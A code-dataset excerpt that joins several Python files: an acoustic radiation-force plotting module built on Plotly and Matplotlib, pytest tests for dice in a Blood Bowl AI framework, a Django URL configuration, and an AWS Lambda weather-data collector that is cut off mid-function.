def build_rad_force_old(self, force):\n Fx = np.reshape(force[:, 0], [self.coordinates.nx, self.coordinates.ny, self.coordinates.nz])\n Fy = np.reshape(force[:, 1], [self.coordinates.nx, self.coordinates.ny, self.coordinates.nz])\n Fz = np.reshape(force[:, 2], [self.coordinates.nx, self.coordinates.ny, self.coordinates.nz])\n\n x_coord = np.reshape(self.points[:, 0], [self.coordinates.nx, self.coordinates.ny, self.coordinates.nz])\n y_coord = np.reshape(self.points[:, 1], [self.coordinates.nx, self.coordinates.ny, self.coordinates.nz])\n z_coord = np.reshape(self.points[:, 2], [self.coordinates.nx, self.coordinates.ny, self.coordinates.nz])\n\n x_grid = np.array(x_coord[:, 0, 0])\n y_grid = np.array(y_coord[0, :, 0])\n z_grid = np.array(z_coord[0, 0, :])\n if (self.coordinates.nx > 1) and (self.coordinates.nz > 1) and (self.coordinates.ny == 1):\n print('xz')\n fig = make_subplots(rows=1, cols=3, subplot_titles=('Fx', 'Fy', 'Fz'),\n x_title=\"z, mm\", y_title=\"x, mm\", horizontal_spacing=0.16\n )\n fig.add_trace(go.Contour(\n z=Fx[:, 0, :],\n x=z_grid * 1e3,\n y=x_grid * 1e3,\n line=dict(smoothing=0.85),\n colorscale='Viridis',\n contours_coloring='heatmap',\n colorbar=dict(len=1, x=0.24),\n zmin=np.min(np.min(Fx[:, 0, :], 0)), zmax=np.max(np.max(Fx[:, 0, :], 0))\n\n ), 1, 1)\n fig.add_trace(go.Contour(\n z=Fy[:, 0, :],\n x=z_grid * 1e3,\n y=x_grid * 1e3,\n line=dict(smoothing=0.85),\n colorscale='Viridis',\n contours_coloring='heatmap',\n colorbar=dict(len=1, x=0.62),\n zmin=np.min(np.min(Fy[:, 0, :], 0)), zmax=np.max(np.max(Fy[:, 0, :], 0))\n\n ), 1, 2)\n fig.add_trace(go.Contour(\n z=Fz[:, 0, :],\n x=z_grid * 1e3,\n y=x_grid * 1e3,\n colorscale='Viridis',\n contours_coloring='heatmap',\n colorbar=dict(len=1, x=1),\n zmin=np.min(np.min(Fz[:, 0, :], 0)), zmax=np.max(np.max(Fz[:, 0, :], 0))\n\n ), 1, 3)\n\n fig.update_layout(height=400,\n width=1100)\n fig.show()\n fig2 = None\n fig3 = None\n\n Z, X = np.meshgrid(z_grid, x_grid)\n Fxz = np.abs(Fx ** 2 + Fz ** 2) ** 0.5\n fig0, ax0 = plt.subplots()\n strm = ax0.streamplot(Z * 1e3, X * 1e3, Fz[:, 0, :], Fx[:, 0, :], density=1, color=Fxz[:, 0, :],\n linewidth=1, cmap=plt.cm.viridis)\n fig0.colorbar(strm.lines)\n ax0.set_xlabel('z, mm')\n ax0.set_ylabel('x, mm')\n ax0.set_title('Streamline on xz-plane')\n fig0.set_size_inches(10, 5)\n\n elif (self.coordinates.ny > 1) and (self.coordinates.nz > 1) and (self.coordinates.nx == 1):\n print('yz')\n Z, Y = np.meshgrid(z_grid, y_grid)\n Fyz = np.abs(Fy ** 2 + Fz ** 2) ** 0.5\n fig0, ax0 = plt.subplots()\n strm = ax0.streamplot(Z * 1e3, Y * 1e3, Fz[0, :, :], Fy[0, :, :], density=1, color=Fyz[0, :, :],\n linewidth=1, cmap=plt.cm.viridis)\n fig0.colorbar(strm.lines)\n ax0.set_xlabel('z, mm')\n ax0.set_ylabel('y, mm')\n ax0.set_title('Streamline on yz-plane')\n fig0.set_size_inches(10, 5)\n\n fig = make_subplots(rows=1, cols=3, subplot_titles=('Fx', 'Fy', 'Fz'),\n x_title=\"z, mm\", y_title=\"y, mm\", horizontal_spacing=0.16\n )\n fig.add_trace(go.Contour(\n z=Fx[0, :, :],\n x=z_grid * 1e3,\n y=y_grid * 1e3,\n line=dict(smoothing=0.85),\n colorscale='Viridis',\n contours_coloring='heatmap',\n colorbar=dict(len=1, x=0.24),\n zmin=np.min(np.min(Fx[0, :, :], 0)), zmax=np.max(np.max(Fx[0, :, :], 0))\n\n ), 1, 1)\n fig.add_trace(go.Contour(\n z=Fy[0, :, :],\n x=z_grid * 1e3,\n y=y_grid * 1e3,\n line=dict(smoothing=0.85),\n colorscale='Viridis',\n contours_coloring='heatmap',\n colorbar=dict(len=1, x=0.62),\n zmin=np.min(np.min(Fy[0, :, :], 0)), zmax=np.max(np.max(Fy[0, :, :], 0))\n\n ), 1, 2)\n fig.add_trace(go.Contour(\n z=Fz[0, :, :],\n x=z_grid * 1e3,\n y=x_grid * 1e3,\n colorscale='Viridis',\n contours_coloring='heatmap',\n colorbar=dict(len=1, x=1),\n zmin=np.min(np.min(Fz[0, :, :], 0)), zmax=np.max(np.max(Fz[0, :, :], 0))\n\n ), 1, 3)\n\n fig.update_layout(height=400,\n width=1100)\n fig.show()\n fig2 = None\n fig3 = None\n\n elif (self.coordinates.nx > 1) and (self.coordinates.ny > 1) and (self.coordinates.nz == 1):\n print('xy')\n Y, X = np.meshgrid(y_grid, x_grid)\n Fxy = np.abs(Fx ** 2 + Fz ** 2) ** 0.5\n fig0, ax0 = plt.subplots()\n strm = ax0.streamplot(Y * 1e3, X * 1e3, Fy[:, :, 0], Fx[:, :, 0], density=1, color=Fxy[:, :, 0],\n linewidth=1, cmap=plt.cm.viridis)\n fig0.colorbar(strm.lines)\n ax0.set_xlabel('y, mm')\n ax0.set_ylabel('x, mm')\n ax0.set_title('Streamline on xy-plane')\n fig0.set_size_inches(7, 5)\n\n fig = make_subplots(rows=1, cols=3, subplot_titles=('Fx', 'Fy', 'Fz'),\n x_title=\"y, mm\", y_title=\"x, mm\", horizontal_spacing=0.16\n )\n fig.add_trace(go.Contour(\n z=Fx[:, :, 0],\n x=y_grid * 1e3,\n y=x_grid * 1e3,\n line=dict(smoothing=0.85),\n colorscale='Viridis',\n contours_coloring='heatmap',\n colorbar=dict(len=1, x=0.24),\n zmin=np.min(np.min(Fx[:, :, 0], 0)), zmax=np.max(np.max(Fx[:, :, 0], 0))\n\n ), 1, 1)\n fig.add_trace(go.Contour(\n z=Fy[:, :, 0],\n x=y_grid * 1e3,\n y=x_grid * 1e3,\n line=dict(smoothing=0.85),\n colorscale='Viridis',\n contours_coloring='heatmap',\n colorbar=dict(len=1, x=0.62),\n zmin=np.min(np.min(Fy[:, :, 0], 0)), zmax=np.max(np.max(Fy[:, :, 0], 0))\n\n ), 1, 2)\n fig.add_trace(go.Contour(\n z=Fz[:, :, 0],\n x=y_grid * 1e3,\n y=x_grid * 1e3,\n colorscale='Viridis',\n contours_coloring='heatmap',\n colorbar=dict(len=1, x=1),\n zmin=np.min(np.min(Fz[:, :, 0], 0)), zmax=np.max(np.max(Fz[:, :, 0], 0))\n\n ), 1, 3)\n\n fig.update_layout(height=400,\n width=1100)\n fig.show()\n fig2 = None\n fig3 = None\n\n elif (self.coordinates.nx == 1) and (self.coordinates.ny == 1) and (self.coordinates.nz > 1):\n fig, ax = plt.subplots(figsize=(10, 5))\n fig2 = None\n fig3 = None\n fig0 = None\n ax.plot(self.points[:, 2] * 1000, force[:, 0])\n ax.plot(self.points[:, 2] * 1000, force[:, 1])\n ax.plot(self.points[:, 2] * 1000, force[:, 2])\n lgnd = ax.legend(['F_x', 'F_y', 'F_z'], loc='upper right', shadow=True)\n ax.set_xlabel('z, mm')\n ax.set_ylabel('Radiation force, N')\n ax.set_title('Radiation force on z-axis')\n elif (self.coordinates.nx == 1) and (self.coordinates.ny > 1) and (self.coordinates.nz == 1):\n fig, ax = plt.subplots(figsize=(10, 5))\n fig2 = None\n fig3 = None\n fig0 = None\n ax.plot(self.points[:, 1] * 1000, force[:, 0])\n ax.plot(self.points[:, 1] * 1000, force[:, 1])\n ax.plot(self.points[:, 1] * 1000, force[:, 2])\n lgnd = ax.legend(['F_x', 'F_y', 'F_z'], loc='upper right', shadow=True)\n ax.set_xlabel('y, mm')\n ax.set_ylabel('Radiation force, N')\n ax.set_title('Radiation force on y-axis')\n elif (self.coordinates.nx > 1) and (self.coordinates.ny == 1) and (self.coordinates.nz == 1):\n fig, ax = plt.subplots(figsize=(10, 5))\n fig2 = None\n fig3 = None\n fig0 = None\n ax.plot(self.points[:, 0] * 1000, force[:, 0])\n ax.plot(self.points[:, 0] * 1000, force[:, 1])\n ax.plot(self.points[:, 0] * 1000, force[:, 2])\n lgnd = ax.legend(['F_x', 'F_y', 'F_z'], loc='upper right', shadow=True)\n ax.set_xlabel('x, mm')\n ax.set_ylabel('Radiation force, N')\n ax.set_title('Radiation force on x-axis')\n elif (self.coordinates.nx > 1) and (self.coordinates.ny > 1) and (self.coordinates.nz > 1):\n num_steps = len(Fx[0, 0, :])\n fig = go.Figure(go.Contour(z=Fx[:, :, 0],\n x=x_grid * 1e3,\n y=y_grid * 1e3,\n colorscale='Viridis'\n )\n )\n\n for i in range(1, num_steps):\n fig.add_contour(z=Fx[:, :, i],\n x=x_grid * 1e3,\n y=y_grid * 1e3,\n visible=False,\n colorscale='Viridis',\n contours_coloring='heatmap')\n\n steps = []\n for i in range(num_steps):\n step = dict(\n label=str(np.around(1e3 * z_grid[i], 2)) + 'mm',\n method='restyle',\n args=['visible', [False] * num_steps],\n )\n step['args'][1][i] = True\n steps.append(step)\n\n sliders = [dict(\n steps=steps,\n )]\n\n fig.layout.sliders = sliders\n\n fig.update_layout(title_text=\"Fx component of radiation force along z-axis\",\n legend_orientation=\"h\",\n xaxis_title=\"y, mm\",\n yaxis_title=\"x, mm\",\n autosize=False,\n height=600,\n width=600\n )\n fig.show()\n fig2 = None\n fig3 = None\n fig0 = None\n\n return fig, fig2, fig3, fig0\n\n def build_rad_force(self, force):\n Fx = np.reshape(force[:, 0], [self.coordinates.nx, self.coordinates.ny, self.coordinates.nz])\n Fy = np.reshape(force[:, 1], [self.coordinates.nx, self.coordinates.ny, self.coordinates.nz])\n Fz = np.reshape(force[:, 2], [self.coordinates.nx, self.coordinates.ny, self.coordinates.nz])\n\n x_coord = np.reshape(self.points[:, 0], [self.coordinates.nx, self.coordinates.ny, self.coordinates.nz])\n y_coord = np.reshape(self.points[:, 1], [self.coordinates.nx, self.coordinates.ny, self.coordinates.nz])\n z_coord = np.reshape(self.points[:, 2], [self.coordinates.nx, self.coordinates.ny, self.coordinates.nz])\n\n x_grid = np.array(x_coord[:, 0, 0]) * 1e3\n y_grid = np.array(y_coord[0, :, 0]) * 1e3\n z_grid = np.array(z_coord[0, 0, :]) * 1e3\n\n if (self.coordinates.nx > 1) and (self.coordinates.nz > 1) and (self.coordinates.ny == 1):\n type_field = 'xz'\n type_plot = '2d'\n Fx = Fx[:, 0, :]\n Fy = Fy[:, 0, :]\n Fz = Fz[:, 0, :]\n x_axis = z_grid\n y_axis = x_grid\n elif (self.coordinates.ny > 1) and (self.coordinates.nz > 1) and (self.coordinates.nx == 1):\n type_field = 'yz'\n type_plot = '2d'\n Fx = Fx[0, :, :]\n Fy = Fy[0, :, :]\n Fz = Fz[0, :, :]\n x_axis = z_grid\n y_axis = y_grid\n elif (self.coordinates.nx > 1) and (self.coordinates.ny > 1) and (self.coordinates.nz == 1):\n type_field = 'xy'\n type_plot = '2d'\n Fx = Fx[:, :, 0]\n Fy = Fy[:, :, 0]\n Fz = Fz[:, :, 0]\n x_axis = y_grid\n y_axis = x_grid\n elif (self.coordinates.ny > 1) and (self.coordinates.nz > 1) and (self.coordinates.nx > 1):\n type_field = 'xyz'\n type_plot = '3d'\n x_axis = y_grid\n y_axis = x_grid\n elif (self.coordinates.nx > 1) and (self.coordinates.ny == 1) and (self.coordinates.nz == 1):\n type_field = 'x'\n type_plot = '1d'\n Fx = Fx[:, 0, 0]\n Fy = Fy[:, 0, 0]\n Fz = Fz[:, 0, 0]\n x_axis = x_grid\n elif (self.coordinates.ny > 1) and (self.coordinates.nx == 1) and (self.coordinates.nz == 1):\n type_field = 'y'\n type_plot = '1d'\n Fx = Fx[0, :, 0]\n Fy = Fy[0, :, 0]\n Fz = Fz[0, :, 0]\n x_axis = y_grid\n elif (self.coordinates.nz > 1) and (self.coordinates.ny == 1) and (self.coordinates.nx == 1):\n type_field = 'z'\n type_plot = '1d'\n Fx = Fx[0, 0, :]\n Fy = Fy[0, 0, :]\n Fz = Fz[0, 0, :]\n x_axis = z_grid\n\n # create figure\n\n if type_plot == '2d':\n fig = go.Figure()\n\n button_layer_1_height = 0.9\n button_layer_2_height = 0.8\n button_layer_3_height = 0.7\n button_x_1 = -0.2\n button_x_2 = -0.2\n button_x_3 = -0.2\n\n fig.add_trace(go.Contour(z=Fx,\n x=x_axis,\n y=y_axis,\n colorscale='Viridis',\n # contours_coloring='heatmap',\n zmin=np.min(np.min(Fx, 0)),\n zmax=np.max(np.max(Fx, 0)),\n visible=True,\n name='Fx'\n ))\n fig.add_trace(go.Contour(z=Fy,\n x=x_axis,\n y=y_axis,\n colorscale='Viridis',\n # contours_coloring='heatmap',\n zmin=np.min(np.min(Fy, 0)),\n zmax=np.max(np.max(Fy, 0)),\n visible=False,\n name='Fy'\n ))\n fig.add_trace(go.Contour(z=Fz,\n x=x_axis,\n y=y_axis,\n colorscale='Viridis',\n # contours_coloring='heatmap',\n zmin=np.min(np.min(Fz, 0)),\n zmax=np.max(np.max(Fz, 0)),\n visible=False,\n name='Fx'\n ))\n fig.add_trace(go.Contour(z=(Fx ** 2 + Fy ** 2 + Fz ** 2) ** 0.5,\n x=x_axis,\n y=y_axis,\n colorscale='Viridis',\n # contours_coloring='heatmap',\n zmin=np.min(np.min((Fx ** 2 + Fy ** 2 + Fz ** 2) ** 0.5, 0)),\n zmax=np.max(np.max((Fx ** 2 + Fy ** 2 + Fz ** 2) ** 0.5, 0)),\n visible=False,\n name='abs(F)'\n ))\n # Update plot sizing\n fig.update_layout(\n height=600,\n title=\"Fx component of normalised radiation force on \" + type_field + \"-plane\",\n autosize=True,\n margin_l=200,\n template=\"plotly_white\",\n )\n # Add dropdown\n fig.update_layout(\n updatemenus=[\n dict(\n buttons=list([\n dict(\n args=[\"type\", \"contour\"],\n label=\"Contour\",\n method=\"restyle\"\n ),\n dict(\n args=[\"type\", \"heatmap\"],\n label=\"Heatmap\",\n method=\"restyle\"\n )\n ]),\n direction=\"down\",\n pad={\"r\": 10, \"t\": 10},\n showactive=True,\n x=button_x_1,\n xanchor=\"left\",\n y=button_layer_1_height,\n yanchor=\"top\"\n ),\n dict(\n buttons=list([\n dict(\n args=[\"colorscale\", \"Viridis\"],\n label=\"Viridis\",\n method=\"restyle\"\n ),\n dict(\n args=[\"colorscale\", \"Jet\"],\n label=\"Jet\",\n method=\"restyle\"\n ),\n dict(\n args=[\"colorscale\", \"Hot\"],\n label=\"Hot\",\n method=\"restyle\"\n ),\n dict(\n args=[\"colorscale\", \"Tropic\"],\n label=\"Spectral\",\n method=\"restyle\"\n )\n ]),\n direction=\"down\",\n pad={\"r\": 10, \"t\": 10},\n showactive=True,\n x=button_x_2,\n xanchor=\"left\",\n y=button_layer_2_height,\n yanchor=\"top\"\n ),\n dict(\n active=0,\n buttons=list([\n dict(label=\"Fx\",\n method=\"update\",\n args=[{\"visible\": [True, False, False, False]},\n {\n \"title\": \"Fx component of normalised radiation force on \" + type_field + \"-plane\"}]),\n dict(label=\"Fy\",\n method=\"update\",\n args=[{\"visible\": [False, True, False, False]},\n {\n \"title\": \"Fy component of normalised radiation force on \" + type_field + \"-plane\"}]),\n dict(label=\"Fz\",\n method=\"update\",\n args=[{\"visible\": [False, False, True, False]},\n {\n \"title\": \"Fz component of normalised radiation force on \" + type_field + \"-plane\"}]),\n dict(label=\"abs(F)\",\n method=\"update\",\n args=[{\"visible\": [False, False, False, True]},\n {\"title\": \"Normalised radiation force module on \" + type_field + \"-plane\"}])]),\n direction=\"down\",\n pad={\"r\": 10, \"t\": 10},\n showactive=True,\n x=button_x_3,\n xanchor=\"left\",\n y=button_layer_3_height,\n yanchor=\"top\"\n )\n ]\n )\n # #Add annotation\n # fig.update_layout(\n # annotations=[\n # dict(text=\"Displayed variable:\", showarrow=False,\n # xref=\"paper\", x=0, y=button_layer_3_height-0.03,\n # yref=\"paper\", align=\"right\"),\n # dict(text=\"Trace type:\", showarrow=False,xref=\"paper\",\n # x=0.0, y=button_layer_1_height-0.03, yref=\"paper\",\n # align=\"right\"),\n # dict(text=\"Colorscale:\", x=0, xref=\"paper\",\n # y=button_layer_2_height-0.03, yref=\"paper\",\n # align=\"right\", showarrow=False)\n # ]\n # )\n\n fig.update_xaxes(title_text=type_field[1] + \"-axis, mm\")\n fig.update_yaxes(title_text=type_field[0] + \"-axis, mm\")\n\n elif type_plot == '1d':\n fig = go.Figure()\n fig.add_trace(go.Scatter(x=x_axis, y=Fx, name=\"Fx\",\n line_shape='spline'))\n fig.add_trace(go.Scatter(x=x_axis, y=Fy, name=\"Fy\",\n line_shape='spline'))\n fig.add_trace(go.Scatter(x=x_axis, y=Fz, name=\"Fz\",\n line_shape='spline'))\n\n fig.update_traces(hoverinfo='text+name', mode='lines+markers')\n fig.update_layout(legend=dict(y=0.5, traceorder='reversed', font_size=16))\n fig.update_layout(title='Component of normalised radiation force on ' + type_field[0] + '-axis, mm',\n xaxis_title=type_field[0] + '-axis, mm',\n yaxis_title='F, c/W*[N]')\n\n elif type_plot == '3d':\n num_steps = len(Fx[0, 0, :])\n abs_F = (Fx[:, :, :] ** 2 + Fy[:, :, :] ** 2 + Fz[:, :, :] ** 2) ** 0.5\n button_layer_1_height = 0.8\n button_layer_2_height = 0.7\n button_layer_3_height = 0.6\n button_layer_4_height = 1\n button_x_1 = -0.3\n button_x_2 = -0.3\n button_x_3 = -0.3\n button_x_4 = -0.3\n\n fig = go.Figure(\n data=[go.Contour(z=Fx[:, :, 0],\n x=x_grid,\n y=y_grid,\n visible=True,\n name='Fx',\n colorscale='Viridis'),\n go.Contour(z=Fy[:, :, 0],\n x=x_grid,\n y=y_grid,\n visible=False,\n name='Fy',\n colorscale='Viridis'),\n go.Contour(z=Fz[:, :, 0],\n x=x_grid,\n y=y_grid,\n visible=False,\n name='Fz',\n colorscale='Viridis'),\n go.Contour(z=abs_F[:, :, 0],\n x=x_grid,\n y=y_grid,\n visible=False,\n name='abs(F)',\n colorscale='Viridis'),\n go.Heatmap(z=Fx[:, :, 0],\n x=x_grid,\n y=y_grid,\n visible=False,\n name='Fx',\n colorscale='Viridis'),\n go.Heatmap(z=Fy[:, :, 0],\n x=x_grid,\n y=y_grid,\n visible=False,\n name='Fy',\n colorscale='Viridis'),\n go.Heatmap(z=Fz[:, :, 0],\n x=x_grid,\n y=y_grid,\n visible=False,\n name='Fz',\n colorscale='Viridis'),\n go.Heatmap(z=abs_F[:, :, 0],\n x=x_grid,\n y=y_grid,\n visible=False,\n name='abs(F)',\n colorscale='Viridis')\n ])\n fig.update_layout(height=600,\n title=\"Fx component of normalised radiation force on \" + type_field + \"-plane\",\n xaxis_title=type_field[1] + '-axis, mm',\n yaxis_title=type_field[0] + '-axis, mm')\n frames = []\n for k in range(num_steps):\n frames.append(go.Frame(name=str(k),\n data=[go.Contour(z=Fx[:, :, k]),\n go.Contour(z=Fy[:, :, k]),\n go.Contour(z=Fz[:, :, k]),\n go.Contour(z=abs_F[:, :, k]),\n go.Heatmap(z=Fx[:, :, k]),\n go.Heatmap(z=Fy[:, :, k]),\n go.Heatmap(z=Fz[:, :, k]),\n go.Heatmap(z=abs_F[:, :, k])]))\n\n steps = []\n for i in range(num_steps):\n step = dict(\n label=np.array2string(z_grid[i]),\n method=\"animate\",\n args=[[str(i)]]\n )\n steps.append(step)\n\n sliders = [dict(\n steps=steps,\n currentvalue={\"prefix\": \"z-coordinate, mm: \", \"font\": {\"size\": 16}},\n )]\n\n fig.update_layout(\n margin_l=200,\n updatemenus=[\n # dict(\n # buttons=list([\n # dict(\n # args=[\"type\", \"contour\"],\n # label=\"Contour\",\n # method=\"restyle\"\n # ),\n # dict(\n # args=[\"type\", \"heatmap\"],\n # label=\"Heatmap\",\n # method=\"restyle\"\n # )\n # ]),\n # direction=\"down\",\n # pad={\"r\": 10, \"t\": 10},\n # showactive=True,\n # x=button_x_1,\n # xanchor=\"left\",\n # y=button_layer_1_height,\n # yanchor=\"top\"\n # ),\n dict(\n buttons=list([\n dict(\n args=[\"colorscale\", \"Viridis\"],\n label=\"Viridis\",\n method=\"restyle\"\n ),\n dict(\n args=[\"colorscale\", \"Jet\"],\n label=\"Jet\",\n method=\"restyle\"\n ),\n dict(\n args=[\"colorscale\", \"Hot\"],\n label=\"Hot\",\n method=\"restyle\"\n ),\n dict(\n args=[\"colorscale\", \"Tropic\"],\n label=\"Spectral\",\n method=\"restyle\"\n )\n ]),\n direction=\"down\",\n pad={\"r\": 10, \"t\": 10},\n showactive=True,\n x=button_x_2,\n xanchor=\"left\",\n y=button_layer_2_height,\n yanchor=\"top\"\n ),\n dict(\n active=0,\n buttons=list([\n dict(label=\"Fx Contour\",\n method=\"update\",\n args=[{\"visible\": [True, False, False, False, False, False, False, False]},\n {\n \"title\": \"Fx component of normalised radiation force on \" + type_field + \"-plane\"}]),\n dict(label=\"Fy Contour\",\n method=\"update\",\n args=[{\"visible\": [False, True, False, False, False, False, False, False]},\n {\n \"title\": \"Fy component of normalised radiation force on \" + type_field + \"-plane\"}]),\n dict(label=\"Fz Contour\",\n method=\"update\",\n args=[{\"visible\": [False, False, True, False, False, False, False, False]},\n {\n \"title\": \"Fz component of normalised radiation force on \" + type_field + \"-plane\"}]),\n dict(label=\"abs(F) Contour\",\n method=\"update\",\n args=[{\"visible\": [False, False, False, True, False, False, False, False]},\n {\"title\": \"Normalised radiation force module on \" + type_field + \"-plane\"}]),\n dict(label=\"Fx Heatmap\",\n method=\"update\",\n args=[{\"visible\": [False, False, False, False, True, False, False, False]},\n {\n \"title\": \"Fx component of normalised radiation force on \" + type_field + \"-plane\"}]),\n dict(label=\"Fy Heatmap\",\n method=\"update\",\n args=[{\"visible\": [False, False, False, False, False, True, False, False]},\n {\n \"title\": \"Fy component of normalised radiation force on \" + type_field + \"-plane\"}]),\n dict(label=\"Fz Heatmap\",\n method=\"update\",\n args=[{\"visible\": [False, False, False, False, False, False, True, False]},\n {\n \"title\": \"Fz component of normalised radiation force on \" + type_field + \"-plane\"}]),\n dict(label=\"abs(F) Heatmap\",\n method=\"update\",\n args=[{\"visible\": [False, False, False, False, False, False, False, True]},\n {\"title\": \"Normalised radiation force module on \" + type_field + \"-plane\"}])\n ]),\n direction=\"down\",\n pad={\"r\": 10, \"t\": 10},\n showactive=True,\n x=button_x_3,\n xanchor=\"left\",\n y=button_layer_3_height,\n yanchor=\"top\"\n ),\n dict(showactive=False,\n type=\"buttons\",\n buttons=[dict(label=\"Play\",\n method=\"animate\",\n args=[None, {\"fromcurrent\": True}]),\n dict(label=\"Pause\",\n method=\"animate\",\n args=[[None], {\"frame\": {\"duration\": 0,\n \"redraw\": False},\n \"mode\": \"immediate\",\n \"transition\": {\"duration\": 0}}])\n ],\n pad={\"r\": 10, \"t\": 10},\n x=button_x_4,\n xanchor=\"left\",\n y=button_layer_4_height,\n yanchor=\"top\"\n ),\n\n ]\n )\n fig.layout.sliders = sliders\n fig.frames = frames\n\n # fig.show()\n\n return fig","sub_path":"app/utils/rfc_client.py","file_name":"rfc_client.py","file_ext":"py","file_size_in_byte":48152,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"87427499","text":"import pytest\nfrom ffai.core.model import D3, D6, D8, BBDie\nfrom ffai.core.table import BBDieResult\nimport numpy as np\n\nn = 10000\n\n\n@pytest.mark.parametrize(\"die\", [D3, D6, D8])\ndef test_d_die(die):\n results = {}\n for seed in range(n):\n rnd = np.random.RandomState(seed)\n result = die(rnd).value\n if result in results.keys():\n results[result] += 1\n else:\n results[result] = 1\n l = len(results.keys())\n assert l == 3 if die == D3 else True\n assert l == 6 if die == D6 else True\n assert l == 8 if die == D8 else True\n for key in results.keys():\n assert 0 < key <= l\n assert (n / (l+1)) < results[key] < (n / (l-1))\n\n\ndef test_d3_fixation():\n for seed in range(10):\n rnd = np.random.RandomState(seed)\n D3.fix_result(1)\n D3.fix_result(2)\n D3.fix_result(3)\n assert D3(rnd).value == 1\n assert D3(rnd).value == 2\n assert D3(rnd).value == 3\n with pytest.raises(ValueError):\n D3.fix_result(0)\n with pytest.raises(ValueError):\n D3.fix_result(4)\n\n\ndef test_d6_fixation():\n for seed in range(10):\n rnd = np.random.RandomState(seed)\n D6.fix_result(1)\n D6.fix_result(2)\n D6.fix_result(3)\n D6.fix_result(4)\n D6.fix_result(5)\n D6.fix_result(6)\n assert D6(rnd).value == 1\n assert D6(rnd).value == 2\n assert D6(rnd).value == 3\n assert D6(rnd).value == 4\n assert D6(rnd).value == 5\n assert D6(rnd).value == 6\n with pytest.raises(ValueError):\n D6.fix_result(0)\n with pytest.raises(ValueError):\n D6.fix_result(7)\n\n\ndef test_d8_fixation():\n for seed in range(10):\n rnd = np.random.RandomState(seed)\n D8.fix_result(1)\n D8.fix_result(2)\n D8.fix_result(3)\n D8.fix_result(4)\n D8.fix_result(5)\n D8.fix_result(6)\n D8.fix_result(7)\n D8.fix_result(8)\n assert D8(rnd).value == 1\n assert D8(rnd).value == 2\n assert D8(rnd).value == 3\n assert D8(rnd).value == 4\n assert D8(rnd).value == 5\n assert D8(rnd).value == 6\n assert D8(rnd).value == 7\n assert D8(rnd).value == 8\n with pytest.raises(ValueError):\n D8.fix_result(0)\n with pytest.raises(ValueError):\n D8.fix_result(9)\n\n\ndef test_bb_fixation():\n for seed in range(10):\n rnd = np.random.RandomState(seed)\n BBDie.fix_result(BBDieResult.ATTACKER_DOWN)\n BBDie.fix_result(BBDieResult.BOTH_DOWN)\n BBDie.fix_result(BBDieResult.PUSH)\n BBDie.fix_result(BBDieResult.DEFENDER_STUMBLES)\n BBDie.fix_result(BBDieResult.DEFENDER_DOWN)\n assert BBDie(rnd).value == BBDieResult.ATTACKER_DOWN\n assert BBDie(rnd).value == BBDieResult.BOTH_DOWN\n assert BBDie(rnd).value == BBDieResult.PUSH\n assert BBDie(rnd).value == BBDieResult.DEFENDER_STUMBLES\n assert BBDie(rnd).value == BBDieResult.DEFENDER_DOWN\n with pytest.raises(ValueError):\n BBDie.fix_result(1)\n\n\ndef test_bb_die():\n results = {}\n for seed in range(n):\n rnd = np.random.RandomState(seed)\n result = BBDie(rnd).value\n if result in results.keys():\n results[result] += 1\n else:\n results[result] = 1\n l = len(results.keys())\n assert l == 5\n for key in results.keys():\n assert key in [BBDieResult.ATTACKER_DOWN,\n BBDieResult.BOTH_DOWN,\n BBDieResult.DEFENDER_DOWN,\n BBDieResult.DEFENDER_STUMBLES,\n BBDieResult.PUSH]\n if key == BBDieResult.PUSH:\n assert (n / (6+1))*2 < results[key] < (n / (6-1))*2\n else:\n assert (n / (6 + 1)) < results[key] < (n / (6 - 1))\n","sub_path":"tests/game/test_dice.py","file_name":"test_dice.py","file_ext":"py","file_size_in_byte":3810,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"431318754","text":"from django.conf import settings\nfrom django.conf.urls.static import static\nfrom django.contrib import admin\nfrom django.urls import path\n\nfrom posts.views import index, about, news, contact\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('', index),\n path('about/', about),\n path('news/', news),\n path('contact/', contact),\n]\n\n\nif settings.DEBUG:\n urlpatterns += static(settings.STATIC_URL,\n document_root=settings.STATIC_ROOT)\n urlpatterns += static(settings.MEDIA_URL,\n document_root=settings.MEDIA_ROOT)\n","sub_path":"src/website/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":591,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"149339180","text":"import json\nimport boto3\nimport os\n\nfrom urllib import request\nfrom datetime import datetime, timedelta\n\n\nyesterday = datetime.strftime(datetime.now() - timedelta(1), '%Y/%m/%d')\nurl = 'http://cowin.cse.cuhk.edu.hk/php/station_data.php?time=' + yesterday +'%20'\nschoolName = 'N.T. Heung Yee Kuk Yuen Long District Secondary School'\n\ndef formatHourSec(val):\n if val < 10:\n val = \"0\" + str(val)\n return val\n else:\n return val\n\ndef checkApiJosnNumNull(json_data,x,JsonVal,val):\n try:\n val = json_data[str(x)]['data'][JsonVal]['value']\n return val\n except:\n val = 0\n return val\n\ndef checkApiJosnTextNull(json_data,x,JsonVal,val):\n try:\n val = json_data[str(x)]['data'][JsonVal]['value']\n return val\n except:\n val = \"null\"\n return val\n \ndef lambda_handler(event, context):\n client = boto3.resource('dynamodb')\n table = client.Table(os.environ[\"weatherDb\"])\n for hour in range(12):\n formatHour = formatHourSec(hour)\n hUrl = url + str(formatHour) + ':'\n for sec in range(60):\n sec = formatHourSec(sec)\n # qUrl =\"http://cowin.cse.cuhk.edu.hk/php/station_data.php?time=2020/04/03%2003:32\"\n qUrl = hUrl + str(sec)\n json_data = request.urlopen(qUrl).read().decode(\"utf-8\")\n json_data = json.loads(json_data);\n schoolNum=(len(json_data)-1) #get school total number\n noSchoolNum = 0\n print(qUrl)\n for x in range(schoolNum):\n if schoolName == json_data[str(x)]['station_name'] :\n noSchoolNum = 0\n daynum = 0\n inputtime = 0\n airTemperature = 0\n maximumAirTemperature = 0\n minimumAirTemperature = 0\n relativeHumidity = 0\n windSpeed = 0\n windDirection = \"null\"\n past60MinutesRainfall = 0\n uvIndex = 0\n maximumUV = 0\n solarRadiation = 0\n seaLevelPressure = 0\n daynum = str(yesterday)\n inputtime = str(hour) + str(sec)\n inputtime = int(inputtime)\n inputtime = str(inputtime)\n \n if noSchoolNum != schoolNum:\n airTemperature = str(checkApiJosnNumNull(json_data,x,'Air Temperature',airTemperature))\n maximumAirTemperature = str(checkApiJosnNumNull(json_data,x,'Maximum Air Temperature',maximumAirTemperature))\n minimumAirTemperature = 